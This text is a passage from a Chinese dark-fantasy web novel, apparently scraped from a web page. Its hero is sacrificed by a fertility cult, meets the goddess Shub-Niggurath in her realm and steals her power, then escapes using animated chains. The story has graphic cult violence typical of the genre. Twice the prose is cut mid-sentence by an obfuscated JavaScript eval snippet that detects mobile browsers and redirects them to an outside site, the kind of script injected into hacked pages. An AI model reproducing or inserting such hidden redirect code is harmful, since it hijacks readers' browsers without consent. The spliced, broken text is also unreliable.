《天选美强惨,但乐子人》 1. 飨宴 钝痛像大锤,一下下敲击后脑。 在这样的折磨下,即便是死人也会揭棺而起,竭力摘下自己的头颅,扔得远远的。 季泠州疼得眼前一阵阵发黑。 他十分后悔,不该在小年夜这天,应了朋友邀请,品尝他新酿的杨梅酒。 正经人怎么会用伏特加泡杨梅? 一阵强烈的恶心涌上喉头,他闷哼一声,试图撑起上半身。 伴随着铁链“哗啦”的响声,躯体瞬间被巨力拉回原地。 动弹不得。 季泠州神情困惑,模糊的视线里,首先看清的是苍白修长、被锁链磨出红痕的手腕。 他正以仰躺姿势,被捆在石台上,墨黑长发散在脑后,沾满了尘灰。 这不是自己的卧室,自己也没这么长的头发! 他睁大眼睛四下打量,周围一片昏暗,星星点点烛火照亮方寸之地。远处,影影绰绰的人影漫无目的游荡,不断发出呢喃呓语。 看样子是起猛了,还在梦里。 再起一次! 季泠州闭上眼睛,心中数了十次,再次睁开。 呓语声依旧,不同的是,眼睛似乎适应了这化不开的昏暗。 人群悄无声息地聚拢,围着祭台站成一圈。 浑身的鸡皮疙瘩一下就起来了,眼角控制不住地跳了跳。 这些人穿着清一色的灰白色袍子。 那袍子样式古怪,仿佛只是将一块长方形的丝绸对折,在顶部剪出个不规则的、仅供脑袋穿过的窟窿。 两侧甚至没有缝合,仅用金属别针固定。 他们的别针做工考究,在烛火下闪烁着价值不菲的光,他甚至在几个别针上看到镶成圣杯造型的红宝石。 人群走动间,衣料晃动,时不时露出或年轻、或苍老的躯体…… 辣眼睛! 他飞速移开视线,再看下去怕是要长针眼。 不知从何时起,空气中浓郁的花香变淡,取而代之的是铁锈味,闻着让人心头烦闷。 忽然,季泠州的心沉了下去。 他发现,那些别针在固定衣料同时,还刺穿了皮肤,让袍子真正的“穿”在身上。 细密的血珠不断自伤口渗出,滴在地上。 他们对待己身尚且如此,自己这个被捆起来的待宰羔羊,又会遭遇什么呢? 必须得找个办法,离开这里。 脑子,你快想! 人群看到季泠州醒来,窃窃私语: “灌了三瓶安宁药剂才昏过去……这种成色的祭品,是从哪儿找到的?” “亚德里安大人守口如瓶。” “再迟一会儿,那两百金镑就要随他一起进坟墓了。” “幸好醒过来了,感谢丰饶之神庇佑。” 祭品、灵性、金镑、丰饶之神?奇怪的语调传进季泠州的耳朵,他确信这不是自己熟悉的任何地球语言。 奇怪的是,每一个字都能听懂。 心底的最后一丝侥幸被浇灭了,自己确实是穿越了,而且看起来前途灰暗。 更糟糕的是,这具身体最后一丝力气似乎也在刚才耗尽了。 现在,连根小指头也动不了,寒冷裹挟了他的意识,朝深渊坠去。 “吱呀”一声,两道身影推门进来。 明亮光芒倾泻而入,他抓住这短暂的几秒,看清了所处环境。 这是间空旷的地下殿堂,有着高耸的弧形穹顶,和粗糙的暗褐色地面。 “我带了一位主的眷者回来,他是药剂师,能确保祭品在仪式结束前不会死去。”打头的老男人声音嘶哑。 他穿着身挺括的深灰色制服,腰间鼓鼓囊囊的,似乎藏着武器。脸上粗硬的毛发根根立起,像只饥肠辘辘的狮子。 披斗篷的药剂师拉下斗篷,露出鸟嘴面具。 他快走几步,从怀里掏出个药瓶,一把拧开就要往季泠州嘴里喂。 季泠州眼里,则惊悚多了。 一个明显是科学怪人的家伙,要给自己吃什么?他挣扎着躲避药瓶。 药剂师像是被他抵触的眼神刺痛了,动作戛然而止。 然后像报复一般,用力捏住季泠州的下巴,粗暴地将药剂灌了进去。 “亚德里安,你说的‘失去呼吸的祭品’?放心,他还能活很久。或许,比这里的所有人都要久。” 他收起瓶子,语气充满了嘲讽。 药剂师的声音很年轻,忽略掉些许沙哑,称得上一句好听。 亚德里安长舒了口气,以防万一,认真道: “还是请您亲自确认。这次的祭品异常强大,几乎逃脱。新来的助手为了压制他的超凡,给他灌下了过量的安宁药剂。您也知道,一瓶就足以毒死普通人。我担心,他未必能撑到仪式结束。” 季泠州心里燃起希望,这具躯体有超凡能力? 可是,自己没有继承原主记忆,对如何调用这力量一无所知,自己甚至不知道有什么能力。 总不能高喊一声深蓝加点吧。 想了想,他还是在心里小声试了一下。 毫不意外地没用。 “状态足够完成仪式。”药剂师撇了亚德里安一眼,不情愿地翻开季泠州的眼皮,扫了一眼。 “取神嗣的工作留给我,你们没学过现代医学,手法太粗糙,他承受不了。” 季泠州没听清后半句话。 刚才药剂师给他喂了某种苦涩的液体,头痛瞬间被放大了无数倍,剧痛让大脑一片空白。 他竭力忍耐。 如果可以,他不想在这些人面前表现出半点软弱。 可是,实在是太痛了! 他的身躯微微颤抖。 亚德里安:“可以。我会支付你双倍的报酬。” “不必了,把他的心留给我做纪念吧。我很好奇,这样一副漂亮皮囊下,究竟长着怎样的一颗心。” 药剂师朝季泠州的方向投来渴望的目光,难以掩饰话语里的愉悦。 亚德里安脸上露出认同的神色,微微点头。他之前还觉得这个药剂师出现得太过突然,怀疑他是异对司的调查员。 现在,听听这疯狂的论调,美妙极了。毫无疑问,他是我们的一员。 黑暗中,一双双眼睛闪着光,教徒们已经等得不耐烦。 他高举双手,宣布:“仪式,开始!” 教徒排成一列,围着祭台转圈,低声诵念: “孕育万千子孙的森之黑山羊,万物之母,月之镜守护者,我们献上孕育生机的苗床、灵性充沛之飨宴,请赐予我们青春和力量。” 随着念诵,教徒们转圈的脚步愈加急促。 衣料摩挲皮肤,别针撕扯血肉。 疼痛的抽气声在黑暗中缭绕,夹杂着强行压抑的呻吟声,恍若地狱深处传来的呢喃。 亚德里安自祭台下取出成堆的银制餐刀、酒杯、盘子,慢条斯理地将它们围着季泠州摆成一圈。 似乎很欣赏同类的痛苦。 随着教徒们的走动,鲜血不断滴落,血腥味越发浓重。 直到,突破了某个限度。 幽微烛火骤然变亮,将整个洞穴照得纤毫毕现。 温度飞速下降,雾气弥漫,一切都罩上层朦胧的轻纱。 两个教徒押着一个褐发年轻人,自黑暗深处走出。 年轻人被绳索牢牢捆缚,目光绝望,大滴大滴的眼泪自眼角滴落,嘴里不断恳求: “大人,求您了……我不会再犯错了。再给我一次机会,求您。” 亚德里安撇了他一眼,声音温和道:“无能是原罪,我的助手。” 他提起银刀插入助手的胸膛。 利刃刺穿躯体的剧痛,和对死亡的恐惧,让助手的眼睛瞪得极大,几乎要撑破眼眶。 亚德里安像是熟练的屠夫一般,旋转手腕将助手胸腔剖开,三下两下挖出个血淋淋的东西,热气腾腾。 他的身体无意识地抽搐了几下,归于寂静。 近在咫尺的谋杀,像按下了某个开关,看得季泠州浑身一凛,头痛迅速消退。 半醒半梦中,一个繁复浩大的图案自意识海里升腾而起。 这图案仿佛投射在他的视网膜上,又似悬浮在空中,让视野化作模糊扭曲的色块。 透过图案,他侧头、直勾勾地望着疑似亚德里安的人影,看他双手合十,用力挤压手里的肉块,殷红的液体汩汩流淌,落在一盏水晶杯里。 然后,他扯开季泠州的衣襟,用指头蘸着那粘稠温热的液体,在他胸口的肌肤上勾勒涂抹。 所过之处,一股炽热的生机注入躯体,外来的力量在体内奔涌。 只花了几个呼吸的功夫,季泠州体验到由极寒到极热的切换,他难受地挣扎起来。 这股力量似乎加速了图案的具现。 教徒看到这一幕,控制不住地欢呼起来,这说明仪式已经成功了一半。 人群中,一个腿脚不便的老妇人看到季泠州逐渐清醒,眼中闪过一丝恶毒。她听过一个传闻,越是绝望痛苦的灵魂,越受神祇青睐。 或许,自己可以做点什么。 她咽了口唾沫,说:“亚德里安大人,您方才…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182876|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是以新死之血,在灵性强大的祭品身上描绘神的符号,好将他的灵魂奉入神国,对吗?” 亚德里安瞥了老妪一眼,没有阻拦,他知道她想做什么。 “卡尔森夫人,你的任何疑惑,我都很高兴为您解答。”他声音冷漠。 她说得更加起劲:“当神祇享用祭品的灵魂,便会赐下神嗣。必须在他尚存一息时,剖开腹腔将其取出。” “请务必留给我一份足够丰厚的恩赐。我年纪太大了,需要更多的青春活力,好为神主奉献。” 亚德里安:“完全合理。也许神明眷顾,你还能获得超凡之力。” 季泠州听了,大为震撼,没想到自己的身体竟要经历如此磨难! 他安慰自己,乐观点,反正灵魂先于躯体消亡,感受不到的痛苦四舍五入等于不存在。 况且,他此刻有更重要的事情做。 刚才,他发现将注意力凝聚到图案上时,能加快它点亮的速度。 拜托了,自己能否摆脱被切块分食的命运,全靠你了。 随着体温升高,季泠州身上殷红的血迹逐渐干涸、消失。 亚德里安目不转睛,眼中火焰熊熊燃烧。 他今年只有三十七岁,是永望镇治安署的警长,老得却像四五十岁的人。 曾经,他也是帝国高材生,就读于奥伦特首都大学。然而,四年学习中,他的超凡种子始终没有觉醒。 毕业前,他绝望地看着导师收回了学校发给他的超凡物。然后,他拿着一张肄业证书,回到乡下成为一个小镇警长。 之后,是日复一日的巡逻、抓捕,直到髀肉复生,青春不再。 曾经,他也是干劲满满,满心憧憬能靠努力工作晋升,重返首都。 永望镇在他的管理下,一度连续十年荣登帝国治安最好的一百个小镇。 可惜,对于一个没有超凡的人而言,一切都是那么的遥不可及。 一个偶然的机会,他接触到丰饶之主的传教士,命运之路就此转动。 亚德里安想,既然必须要超凡,那我就给你们超凡。 很快,我就能成为超凡者了。 他攥紧手,期待地盯着祭台,和上面那具一动不动地身躯。 祭台边缘已经结满了冰霜,季泠州紧闭双眼,精神却前所未有的活跃。 刚才,繁复图案完全亮起来,化作一颗蓝金交织的星辰,一股信息凭空出现在脑海里: 【玩家】 【——请收下这份来自世界本源的馈赠,尽管它满怀恶意。】 【备注:职业能力取决于你的认知。请注意,世界并不会因为你的认知不足而手下留情。】 【1、修改器:每个“风灵月影宗”传人都声称自己绝对没有开挂。你能对既有结果进行解离,并重新构筑成一个“看起来还算合理”的新版本。】 【2、鉴定:你能以玩家的独特视角,观察这个真实的世界。该能力仅负责展示信息,不负责解释,也不保证你的心理健康。】 【3、……】 这个世界的超凡者在积攒足够灵性后,能感应到真实之海,并获得属于自己的“职业”。 他不知道,这是原身的“职业”,还是独属于自己的全新“职业”。 尽管季泠州不了解其他职业,但单看介绍,依然觉得自己这职业画风清奇。 想起自己作为一个P社玩家,在游戏里干得那些事,他不禁汗流浃背。如果是那种意义上的“玩家”,年底前自己就会成为世界公敌、人类罪人吧。 随着“职业”觉醒,季泠州体内生出一股全新的力量。袖子里的右手动了动,悄无声息地按在祭台上。 “解离。”他在心中下令,那股力量罩住祭台。 【该物品无灵性,非超凡物品,无法解离。】 力量原路返回,带着反馈信息,让一颗心沉了下去。 祭台,虽然沾满灵性之血和大量祭品死前不甘的怨念,但距离成为超凡物,还差了些。 那一丝刚刚燃起的希望,如同风中之烛,倏然熄灭了。 不远处,药剂师一直盯着季泠州,这点小动作完全逃不过他的眼睛。 看到预料之中的场景,药剂师心满意足地笑出声。 祭台上,亚德里安点燃的火爆出最后的光和热,自季泠州的心口燃起,意识升腾而起,脱离躯体的藩篱,飘向高空。 世界化作光斑,扭曲消散。 季泠州的意识被吸入星空。 星河旋转,化作恢宏巨门。灵魂化作一束光,穿过仿佛无尽的长廊,消失在宇宙尽头。 2. 亲爱的,你好香 不知道过了多久,季泠州再次睁开眼睛。 他正站在一片雾气中。 眺望远方,只见灰黄的雾构成绵延不断的大地,蓝绿色的雾翻滚流淌,像河流一样。 碧绿和棕褐的雾组成形态各异的树木,五颜六色的雾气动物在林间穿梭嬉戏,时不时就撞入树干,成为枝头的果实。 这是哪里?他下意识地观察自己,生怕自己也是雾气化成的。 季泠州缓缓吐出一口浊气,紧绷的身躯略微松弛。 自己依旧是血肉之躯,穿着那件单薄的祭祀长袍,胸口的血迹消失了,干净整洁得像新的一样。 这地方并不是现世,他想起自己觉醒的超凡职业【玩家】里,有一个“鉴定”技能,或许有用。 季泠州试着调动意识海里的大星,将那股力量涌出,灌注在眼睛上。 下一刹,目之所及之处,皆浮现出同样的信息:【黑暗丰穰的神国】。 海洋般浩瀚的的知识奔腾着灌入脑海。他闷哼一声,捂住快要裂开的双眼,踉跄着弯下腰。 许久后,那股冲击消散,他再次睁开眼睛。 眼前的画面变了,雾气中纵横交错着许多线一样的东西,朝着远方蔓延。 季泠州试着对雾气使用“修改器”技能,那股力量徒劳的冲出身体又回来了,告诉他以现在的力量,无法撼动神力造物。 他叹了口气。 几乎是不假思索,决定去线条的尽头看看,或许有离开的线索。 在雾气世界中,时间失去了意义 季泠州走过雾气组成的城镇、见过雾龙、看完了雾气果树的一生——除了雾,什么都没有。 雾气和线条,似乎都没有尽头。 就在他精疲力尽,寻了一处雾气山谷决定休息一会时,忽然听到了人声。 “那边有人?” 男人警惕道:“小心,那可能是邪神的造物。” 人声?季泠州呼吸一滞,随即强迫自己恢复平静。在这纯粹由雾气构成的神国里,真的有活人吗? 他悄无声息地调整姿势,循声望去。 只见一对年轻男女正站在谷口眺望,身上穿着和季泠州同款的祭祀袍。 两人小心翼翼地躲在一丛灌木后面张望,却不知道雾气组成的一切都是半透明的。 两人和身前的灌木仿佛不在同一空间,醒目得不得了。 他举起手,示意自己无害。 两人看到季泠州身上的白袍,悬着的心放下来,缓缓凑近。 “喂,你也是被抓来的吗?”年轻女人率先开口,她笑容灿烂,有着一头漂亮的金发。 “黑暗丰穰?不是,抓我的人称他们的神是丰饶之主。” 男人苦笑一声:“那就没错了。黑暗丰穰自称为丰饶之主,实际上……” 他的话被女人打断:“你知道离开这里的方法吗?我叫莎布,这是尼古拉斯,我的未婚夫。” “我们是奥伦特人,婚前旅行时遇到了匪徒。再醒来时,就已经在这里了。” 尼古拉斯猛地瞪大眼睛,伸手想要捂住莎布的嘴,“莎布!你怎么能……” 但触及她无辜的眼神,他的手僵在半空,指责的话语化为一声无奈叹息,警惕地瞥了季泠州一眼。 季泠州自我介绍:“季。和你们一样,醒来就在这里了。” 莎布沮丧地抿了抿嘴。 “还是没有新的线索吗……我们到底何时才能逃离这片迷雾?父亲和母亲还在庄园里等着我们,天知道他们该有多焦急。”她小声说。 尼古拉斯温柔地抚了抚她那一头柔顺的金发,安慰道:“别担心,我的天使。瞧,命运让我们遇到了新伙伴。” “三个参谋官,胜过天命皇帝的一位首席顾问。”莎布接道。 这句熟悉的谚语以奇怪的方式被说出来,令季泠州目瞪口呆,试探着问:“这句话很特别。你们是从哪里看到的?” 莎布满脸疑惑:“书里呀,你的奥伦特语发音很标准,你没有受过教育吗?” 季泠州几乎汗流浃背,他接受过十几年教育,可那是在另一个世界。 如今自己能和人交流,全靠前身打下的语言基础。 “咳咳,你们来这里有多久了?”他连忙转移话题,有人能说说话的感觉很好。 先前,他几乎被那种天地悠悠,独我一人的孤寂逼疯。如今,好不容易遇到两个疑似活人的存在,很是珍惜。 尼古拉斯皱眉思索,满脸苦涩:“这里没有昼夜,我们也不知道。” “感觉很漫长。”莎布补充。 三人索性结伴同行,顺带闲聊。 季泠州很快摸清了两人的底细。 两人来自奥伦特帝国的朔风行省,出生于小贵族家庭,青梅竹马。尼古拉斯看着警惕心强,实际却是个话唠。 大部分都是他说的,包括莎布喜欢吃草莓蛋糕、炖羊肉,小时候曾被一只公羊顶伤了大腿。 诸如此类。 “季,你愿意与我们一起吗?”莎布忽然提议。 答应的话刚到嘴边,意识海里的星辰瞬间黯淡,心底深处升起莫名悚然,似乎自己即将犯下一个永久改变命运的可怕错误。 这种感觉就像头朝下掉进冰窟窿。 季泠州很相信直觉,张开的嘴又闭上了。 “我计划往西走,你们呢?”他勉强一笑。 尼古拉斯笑着说:“和你一样,我们一起吧。” 莎布点头,期待地望着季泠州:“你愿意和我们一起吗?” 对于大部分人而言,不回答就是婉拒了。这俩人看起来并不像情商低的样子。 这就更不能答应了。 季泠州站起身:“那我往西走了。” 他走出几步,却发现两人还在原地。 莎布和尼古拉斯一动不动,如泥塑木雕一般坐在地上,仿佛没有听见他的话。 寒意自背后升腾而起,他转身正对着二人,缓缓后退。 忽然,俩人动作一致地抬头,满脸怀念:“果然,与你来自同一处的存在,都如此敏锐。” 男声和女声重叠在一起,回响在小山谷里。 “你拒绝留下,吾只好亲自将你留下。” 下一秒,二人化作翻涌的红雾。 雾气中,一个难以界定性别的身影优雅成形。 祂的容颜超越了美的范畴,直视的瞬间,季泠州耳中响起万千生命的哀嚎与诞啼的混响。 “吾名莎布·尼古拉丝,欢迎来到吾的神国。”随着祂嘴唇张合,恢宏的颂唱声响彻天际。 神祇名字本身就具备非凡的伟力。 雾气消散,露出被掩盖的真实世界。 血肉自炽热熔岩中喷射,形成满是血管的浮空岛。 山峦裂开血口,诞育出成群结队的扭曲造物,它们在脓血与黏液中蠕动纠缠,用不可名状的语言虔诚地赞颂自己的神。 高天垂下无数条丝线,插入蠕动的大地。 季泠州捂住眼睛,鲜血自指缝溢出。无数人的嘶吼呢喃在耳畔环绕,整个人如坠深渊。 一瞬间,意识海里“玩家”职业化作的星辰崩碎又凝聚,凝聚又崩碎。 在无休止循环中,仿佛一把烧红的刀插入头骨,将脑子搅成粉碎。 难以言喻的剧痛中,他跪倒在地,惨叫出声。 莎布·尼古拉丝在一旁冷漠地旁观着。 许久后,祂眸中闪过好奇,微微挥手,轻纱散作雾气,再次将祂笼罩。 祂说:“凡人,神祇不可直视,你是故意为之吗?” 季泠州胡乱擦掉脸上的血,他还指望着“鉴定”能给些有用的提示,不看怎么行? 他吃力地抬起头,视线凝在了莎布·尼古拉丝的脸上。 原来,祂就是那些线条的汇聚之处。 无数彩色线条从祂头顶刺出,探入高天,让祂像个鲜艳的大海胆,显出几分滑稽,冲淡了神灵的威严。 他竭力掩饰眼中的困惑,说:“不是。” 莎布·尼古拉丝不置可否地摇摇头。 “吾决定,与你进行一场游戏。吾会赐予你逃亡的时间。当吾再次将你捕获,便会将你转化为吾的眷者,永远追随吾,直至时间终结。即便是‘那一位’,也无法改变。” 高空之上,一条丝线断裂飘落,一端缠在祂的腕上,另一端绕住季泠州的脖子。 契约订立! “沙漏到底,吾就开始寻找。”莎布·尼古拉丝仰头眺望,并不回答。 天穹之上,升起一个巨大的骨白色沙漏,殷红的液体不断下落。 季泠州继续盯着祂,只见一小半扭曲的线条逐渐理顺,化作半行信息: 【(可解离)绝望丰穰·丰饶之主·孕育万千子孙的森之黑山羊·万物之%¥#@!&……*】 神祇也算是世界的一部分吧?忽略掉位阶上的差距,自己用“修改器”的力量,大概、或许、有可能有那么一丝机会,能解离祂。 这个想法太过大胆和不可思议。 即便是没有理智的疯子的大脑里,也不会产生如此荒诞不经的念头。 可季泠州就是想了,并且很认真的考虑了它的可能性。 跑? 开玩笑,就像寄宿在广东人家里的阿螂,无论平日里活得再恣意洒脱,总有一天会被从天而降的拖鞋拍死。 耗? 来不及,对比沙漏和线条理顺的速度,就知道来不及。 自己必须得拖延时间,他转头钻入血肉织就的扭曲丛林。 黑暗丰穰看着季泠州的背影,饶有兴致地笑了。 转眼间,又被诧异替代。 只见季泠州又回来了,手里似乎拿着什么,背在身后看着不真切。 祂可以用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182877|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神明的眼去看,但祂觉得保留一些惊喜,或许更有趣。 “凡人,你这是准备放弃了吗?”祂靠近季泠州,在他耳后轻嗅,“表面闻上去,是痛苦绝望的清香。 “细细品味……那是希望、幸福与尊严交织出的醇厚芬芳。凡人,你来自一个被秩序与光明眷顾的世界。” 祂深深吸气,喉间发出满足的、近乎叹息的颤音。 “哦,还有一丝自以为是。略显辛辣。比起那些充斥着虚荣与愚昧、乏味如嚼蜡的灵魂,你的味道,简直是无上的珍馐。” 祂优雅站直,澄澈圣洁的眸子里满是渴望。 只不过,那渴望看得人毛骨悚然。除食欲外,再无其它。 在季泠州的另一种视野里,黑暗丰穰身上的线不断抽离重组,从无序转为有序。 “我为你带来了一份礼物。”他硬着头皮,展示藏在背后的花束。 那是一束骨白色的重瓣菊花,每片花瓣都是一颗细密的牙齿,它们翕动着、渴望着,无风自动。 路边采的,总不能指望黑暗丰穰的神国有真正的鲜花吧。 “啊,真漂亮。”祂把脸埋进花里,深吸一口。 花瓣快速抖动,将脸上的血肉磨碎,然后吮吸干净。 那张圣洁澄澈的脸,很快变得血肉模糊、露出白骨。 “你的礼物,吾很喜欢。”莹白如玉的指尖轻轻抚过季泠州的脸,像是在触摸情人。 “现在……该回到正事了。”祂陶醉地嗅着季泠州的脖颈,将指头插入了他的脖颈。 没有疼痛。 也没有伤口。 但在那一瞬间,季泠州清楚地感觉到,有什么东西被打开了。 蓝金色的光点如潮汐般从他体内溢出,从血肉深处抽离。 那是他意识深处的本源,饱含灵性的灵魂。 意识海中,那片原本悬挂着星辰的夜开始变得空旷。星光被一一摘取,没入祂的指尖。 与此同时,有什么东西顺着那条被打开的通路,注入了进来。 那种感觉很难形容,既不像力量,也不像疼痛,更像是被什么东西抱住了。 很舒服,幸福、和煦,像秋日里晒太阳。 他忽然想起了很久以前的记忆: 小时候发烧,从医院回来的路上,母亲背着自己,拐到路边的杂货店买了一瓶橘子汁,一勺勺喂给自己。阳光暖暖的,橘子汁酸酸甜甜。 整个世界只剩下平稳的呼吸声,什么都不需要思考。 什么都不用选择。 只要放松下来,就会有人替你承担一切。 那种温暖正在一点点挤走他的意识,填补灵魂被抽离后的空白。 他依旧能思考,却开始觉得思考本身毫无必要。 在那一刻,季泠州清楚地意识到,如果他真的顺从下去,那么接下来被保留下来的,就只会是一具“很听话的东西”。 与此同时,那行信息也显示完全: 【(可解离)绝望丰穰·丰饶之主·孕育万千子孙的森之黑山羊·万物之母·月之镜守护者投影】 【警告:修改器生效过程中,不足能量将用生命补齐。】 季泠州低笑出声,哪怕是死在“玩家”不靠谱的技能上,也比变成黑暗丰穰的傀儡强。 无需犹豫,解离! 浑身的力量瞬间被抽干,接着是冥冥中看不到的东西,跟着离开躯体,它们汇在一起。 星辰骤然被点亮,银河般的浩瀚伟力奔涌而出。 “人生二十年,与天地长久相较,如梦又似幻,一度得生者,岂有不灭者呼?” 他口中轻诵,用最后残存的力气抬起手臂,反扣住黑暗丰穰的腕。 那张独属于神祇的绝美脸庞无比平静,似乎没有察觉到他的动作,继续用力。 “结束吧!”意识海里,星辰以前所未有的亮度轰然爆发!它自黑暗中凝实,化作一枚贯穿意识与现实的箭矢。 黑暗丰穰脑后,几缕散落的发丝无声无息消失了。 季泠州低低笑着,大股的血从鼻子、眼睛里流出,淌了满脸,让他看着很是狼狈。 这是生命力流逝带来的副作用。 “你说,我的灵魂闻着很香。”他边咳,边笑,“现在,轮到我了。” 握紧的手腕处,璀璨的辉光逆向奔流。 那不是光,是构成神祇存在的本质权能,正被蛮横地抽取、拆解、掠夺。 黑暗丰穰脸上的沉醉消失,化作不可置信的震怒,这是祂头一次出现如此人性化的表情。 “不!” 祂的躯体崩裂成无数流淌着星光的碎屑,又汇成一泓新的银河,贯入季泠州的胸口。 在这伟力的冲击下,他自高空坠落。 星河熄灭,光芒消失,周围的空间再次变得深邃幽暗。 许久之后,虚无中响起一声幽幽的叹息。 3. 触手、失忆和捆绑 无尽虚空中。 绝望丰穰的应许之地,是一片由迷雾和血肉构成,绵延数光年的扭曲之地。 正中间悬浮着的那团无边无际、薄雾般的存在,忽然沸腾起来。 祂诧异地发现,自己的投影突然少了一个。那份力量并未回归本体,而是凭空消失了。 能感受到构造那个投影的能量通路还在,少量而持续地抽取着自己的力量。 唯有神明,才能对抗神明。 是谁?剥离了吾的力量。 那些苟延残喘的可悲旧神吗? 祂的触须舒展扭动,探入时间和空间的裂隙,搅动并探查,试图找到那大胆的存在,却只发现一片空白。 许久后,祂终于定位到投影最后停留的世界。 虚空中,静静漂浮着一张柔软的书页,祂用附肢抓过来,捧在眼前细细检查。 这书页苍白、光滑,且芬芳,能看到细细的毛孔,上面写满了方块字。 太有意思了。 …… 仪式现场。 亚德里安迟疑不定,反复翻着几张陈旧的羊皮纸。 他低声自语:“仪式的步骤没有出错,为何祭品仍未苏醒?” 一旁的药剂师等了许久,早已不耐烦。 “或许可以让我确认一下。”他轻声提议,“让我打开道小口子,检查一下。只要处理得当,他不会死,也不会妨碍神嗣的孕育。” 说到最后几个字,他似乎再也压抑不住自己的喜悦,低声笑起来。 亚德里安迟疑不语。 卡尔森夫人立刻质疑:“大人,请恕我冒犯。我注意到你选择的祭品是个男人,一个不下蛋的公鸡,如何指望他诞育子嗣?” “那是我积攒了半生的财富!你怎么敢如此草率地替我做出决定?” “查账!我们要求祭品购买环节公开透明。” 有人反驳:“母神才不管这些呢,就是一扇门板,只要母神愿意,也能让它诞育神嗣。” “咳咳,我还是坚持我的观点,我们应该献祭那颗老橡树,它看着生命力更旺盛。” “蠢货,你要我们如何避开巡查,把一整株树运入密室?” “或许母神不想要黑头发的东陆人。” “诸位,你们都猜错了!瞧瞧这张俊美得不真实的脸,或许神只是想多留他一会。” “哈哈哈哈。”教徒中传来粗哑笑声。 亚德里安摆摆手,开口定论:“没人比我更懂献祭了,都闭嘴!再等一会。” 祭台上,季泠州闭着眼睛,一动不动。灵魂刚回归躯壳,需要些许适应时间。 药剂师忽然开口:“这祭品你是从哪里弄的?绝对壁垒外的东陆人可不多见。” “我自有途径。”亚德里安眼神闪烁,“今早才送到,不会出差错。稍后,神嗣的事就交给你了。” 药剂师点头答应,取出把锋利的手术刀,捏在指尖。 还想剖我肚子?做梦! 季泠州倏地睁开眼睛,极淡的光自瞳孔闪过,冰冷力量在体内复苏、流动。 他立刻调动力量,将它注入了自己唯一拥有的东西,那四根锁在手腕、脚腕上的粗重锁链。 心中默默重复:我需要一件武器。 下一刹,锁链根部自石柱脱落。 生锈的锁链变得光洁如新,隐约浮现出银色符文,它们像灵活的深海巨兽触手一般,缠绕向人群。 【活化锁链(存在时间3分零24秒):(请尽情展示捆绑的艺术吧!(注意节约体力)】 自己的构筑的第一件异常物的属性有些奇怪,但顾不得那么多,好用就够了。 季泠州首先操控一根锁链,将药剂师捆了个结实,对拿刀的手格外关注。 人群发出惊呼。 “看,神赐下的神物!” “亚德里安,你欺骗了我们!你承诺的是延寿的血肉,为什么是这见鬼的锁链?” “该死!我也不知道母神为何会将权能赐予这些废铁!”亚德里安怒吼一声,朝着门边的衣帽架大步跑去。 他要取自己的配枪。 不能让他拿到! 下一刹,两根锁链同时探向亚德里安的脚踝,他瞬间失去平衡。 仓促之下,亚德里安被迫选择用脸着地。 剧痛传来,他哀嚎着捂住了自己的鼻子,眼泪唰的就下来了。 针对性的袭击,让他很快反应过来:“是他,是祭品在操控,杀了他。卖掉这锁链,我们还能再祭祀一次。” 乱成一团的教徒停下互相指责,他们恍然大悟,整齐划一地抄起银餐刀,向季泠州围堵来。 锋刃的寒光照亮祭台。 刀光袭来!季泠州浑身一僵,脑海空白,身体却先一步滚下祭台。 嘭!半边身子磕得发麻。 他身上祭品长袍的下摆将最近的几个人绊倒在地。刺来的刀没收住,扎在祭台上,将干涸血迹刺出小坑。 长发裹在季泠州的脸上,挡住视线。 太不方便了! 习惯了前世干脆利索的短发,他很是不习惯。 他狼狈地甩了一下头,竭力看清前方。 体力正如潮水一般褪去。 直到此时,季泠州才意识到活化铁链附带信息的意思。使用了不过十几秒,几乎累到抬不起手。 教徒们如流水,绕过祭台,再次朝着他跑来。几米外,亚德里安捏着鼻子,缓缓坐起。 还是得用! 一刻也没有停歇,活化的锁链再次贴地扫过,将教徒们摔成滚地葫芦。他们身上披着的丝绸翻飞,露出肌体。 有办法了! 【活化锁链】掉了个头,如灵蛇一般探进离他最近的那个红发教徒披着的布下,巧妙穿过别针。 然后,蓄力、抽回! “啊!”红发教徒发出凄厉的惨嚎。 【活化锁链】拽下了他的披布,连带着别针丢到地上,以撕裂肌肤为代价。 红发教徒疼得缩成一团,身体两侧的血涌出,汩汩流淌。 此刻画面应打马赛克。 剩下的教徒站在原地,面色迟疑。 精细操控更消耗体力,季泠州的脸以惊人的速度变得惨白,浓郁的困意涌上心头。 单凭【活化锁链】救不了自己,得抓住最后清醒的时间,再构造一个能逆转局势的物品。 “修改器”并不是万能的。 作为玩家的衍生能力,一切皆要遵循玩家的逻辑和认知。 毕竟,这个职业叫做“玩家”,不是“开挂的玩家”。 一方面,需要在物品基础上进行延伸。 正如此刻,季泠州能让捆缚他的锁链活过来去捆别人、抽别人,却不能让锁链带电,拥有泰/瑟/枪的功能。 当然,如果事先将锁链连接避雷针,在雷雨天进行构筑,或许能实现。 另一方面,大部分物品难以承载“修改器”的修改。 即便构筑成功,也只能维持短暂的效果,而且这种效果的强度会随着时间流逝飞速减弱,直到彻底消失。 至于什么物品可以永久承载,时间太短,暂时还没有找到规律。 到底构筑什么,能逆转形势呢? 季泠州的目光迅速从盘子、高脚杯、祭台、门上扫过,最后,停留在门边的几块砖头上。 